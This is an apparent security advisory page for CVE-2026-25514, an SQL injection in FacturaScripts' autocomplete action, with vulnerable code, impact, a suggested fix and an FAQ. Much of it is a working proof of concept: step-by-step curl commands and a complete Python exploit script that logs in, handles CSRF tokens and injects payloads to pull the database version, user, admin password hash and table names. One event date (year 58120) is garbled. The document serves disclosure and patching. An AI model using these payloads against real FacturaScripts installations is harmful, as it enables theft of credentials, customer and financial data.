CVE-2026-25514: FacturaScripts has SQL Injection vulnerability in Autocomplete Actions

Published Feb 3, 2026
·
Updated

Summary FacturaScripts contains a critical SQL Injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding.

---

Details

Multiple controllers in FacturaScripts, including CopyModel, ListController, and PanelController, implement an autocomplete action that processes user input through the CodeModel::search() or CodeModel::all() methods. These methods construct SQL queries by directly concatenating user-controlled parameters without any validation or escaping.

Vulnerable Code Location

File: /Core/Model/CodeModel.php Method: all() Lines: 108-109

php public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ......

// VULNERABLE CODE: $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description ' . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC'; foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }

return $result; }

Vulnerable Parameters

The following parameters are vulnerable to SQL Injection:

1. source → Maps to $tableName - Table name injection 2. fieldcode → Maps to $fieldCode - Column name injection 3. fieldtitle → Maps to $fieldDescription - Column name injection (Primary attack vector)

Attack Flow

1. Attacker authenticates with valid credentials (any user role) 2. Attacker sends POST request to /CopyModel with action=autocomplete 3. Malicious SQL functions/queries are injected via the fieldtitle parameter 4. Application executes the injected SQL and returns results in JSON format 5. Attacker extracts sensitive data from the database

---

Proof of Concept (PoC)

Prerequisites - Valid authentication credentials (admin/admin in test instance) - Access to FacturaScripts web interface

Step-by-Step Manual Exploitation (CLI)

Since FacturaScripts uses MultiRequestProtection, a valid multireqtoken is required for every POST request.

1. Obtain initial token and session cookie: FacturaScripts redirects / to /login, so we use -L to follow redirects and -c to save the session cookie. bash TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+') echo $TOKEN

2. Authenticate (Login): Use the saved cookie and the token to log in. bash curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \ -d "fsNick=admin" \ -d "fsPassword=admin" \ -d "action=login" \ -d "multireqtoken=$TOKEN"

3. Extract Database Version: Obtain a fresh token for the next request and execute the injection. bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=version()" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

4. Extract Database User and Name: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=concat(user(),' @ ',database())" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

5. Extract Admin Password Hash: bash Get fresh token TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

Execute SQLi curl -s -b cookies.txt "http://localhost:8091/CopyModel" \ -d "action=autocomplete" \ -d "source=users" \ -d "fieldcode=nick" \ -d "fieldtitle=password" \ -d "term=admin" \ -d "multireqtoken=$TOKEN"

Automated Exploitation Script

python #!/usr/bin/env python3 """ FacturaScripts SQL Injection Exploit - Autocomplete Author: Łukasz Rybak """

import requests import re import json

Configuration BASEURL = "http://localhost:8091" USERNAME = "admin" PASSWORD = "admin"

session = requests.Session()

def getcsrftoken(url): """Extract CSRF token from page""" response = session.get(url) match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text) return match.group(1) if match else None

def login(): """Authenticate to FacturaScripts""" print(f"[] Logging in as {USERNAME}...") token = getcsrftoken(f"{BASEURL}/login") if not token: print("[!] Failed to get CSRF token") exit()

data = { "multireqtoken": token, "action": "login", "fsNick": USERNAME, "fsPassword": PASSWORD } response = session.post(f"{BASEURL}/login", data=data)

if "Dashboard" not in response.text: print("[!] Login failed!") exit() print("[+] Successfully logged in.")

def exploitsqli(fieldpayload, term="admin", source="users", fieldcode="nick"): """Execute SQL injection through autocomplete""" data = { "action": "autocomplete", "source": source, "fieldcode": fieldcode, "fieldtitle": fieldpayload, "term": term } response = session.post(f"{BASEURL}/CopyModel", data=data) try: return response.json() except: return None

def main(): login()

print("\n" + "="60) print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ") print("="60 + "\n")

# 1. Database version print("[] Extracting database version...") res = exploitsqli("version()") if res: print(f"[+] Database Version: {res[0]['value']}")

# 2. Current user and database print("[] Extracting DB user and database name...") res = exploitsqli("concat(user(),' @ ',database())") if res: print(f"[+] DB User @ Database: {res[0]['value']}")

# 3. Admin password hash print("[] Extracting admin password hash...") res = exploitsqli("password", term="admin") if res: print(f"[+] Admin Password Hash: {res[0]['value']}")

# 4. All table names print("[] Extracting table names...") res = exploitsqli("(SELECT GROUPCONCAT(tablename) FROM informationschema.tables WHERE tableschema=database())") if res: print(f"[+] Tables: {res[0]['value']}")

print("\n[+] Exploitation complete!")

if name == "main": main() <img width="2524" height="410" alt="image" src="https://github.com/user-attachments/assets/19178918-0b83-4b94-a41d-38f33b034f5d" />

---

Impact

This SQL injection vulnerability has CRITICAL impact:

Data Confidentiality - Complete database disclosure - Attacker can extract all data including: - User credentials (password hashes) - Customer information (names, addresses, tax IDs, etc.) - Financial records (invoices, payments, bank details) - Business logic and configuration data - Plugin and system settings

Who is Impacted? - All FacturaScripts installations running vulnerable versions - All authenticated users can exploit (not just admins) - Businesses using FacturaScripts for accounting/invoicing - Customers whose data is stored in the system

---

Recommended Fix

Immediate Remediation

Option 1: Use Prepared Statements

php // File: Core/Model/CodeModel.php // Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array { // ... validation code ...

// Validate and escape identifiers $safeTableName = self::db()->escapeColumn($tableName); $safeFieldCode = self::db()->escapeColumn($fieldCode); $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

// Use parameterized query $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description ' . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) { $result[] = new static($row); }

return $result; } Credits

Discovered by: Łukasz Rybak

Other sources

FacturaScripts is open-source enterprise resource planning and accounting software. Prior to version 2025.81, FacturaScripts contains a critical SQL injection vulnerability in the autocomplete functionality that allows authenticated attackers to extract sensitive data from the database including user credentials, configuration settings, and all stored business data. The vulnerability exists in the CodeModel::all() method where user-supplied parameters are directly concatenated into SQL queries without sanitization or parameterized binding. This issue has been patched in version 2025.81.

— MITRE

Affected Software

2 affected componentsFixes available
composer/facturascripts/facturascripts<2025.81
2025.81
facturascripts facturascripts<2025.81

Event History

Feb 3, 2026
Advisory Published
via GitHub·06:17 PM
Data Sourced
via GitHub·06:17 PM
DescriptionWeaknessAffected Software
Feb 4, 2026
CVE Published
via MITRE·07:59 PM
Data Sourced
via MITRE·07:59 PM
DescriptionWeakness
Data Sourced
via NVD·08:16 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·08:16 PM
RemedyAffected Software
Aug 2, 58120
Event
via FIRST·02:49 PM

Frequently Asked Questions

1

What is the severity of CVE-2026-25514?

CVE-2026-25514 is classified as a critical severity vulnerability due to its potential for allowing authenticated attackers to extract sensitive data.

2

How do I fix CVE-2026-25514?

To fix CVE-2026-25514, upgrade to FacturaScripts version 2025.81 or later.

3

What type of vulnerability is CVE-2026-25514?

CVE-2026-25514 is an SQL injection vulnerability found in the autocomplete functionality of FacturaScripts.

4

Who is affected by CVE-2026-25514?

Authenticated users of FacturaScripts versions prior to 2025.81 are affected by CVE-2026-25514.

5

What data can be compromised by CVE-2026-25514?

CVE-2026-25514 allows attackers to access sensitive data such as user credentials, configuration settings, and all stored business data.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203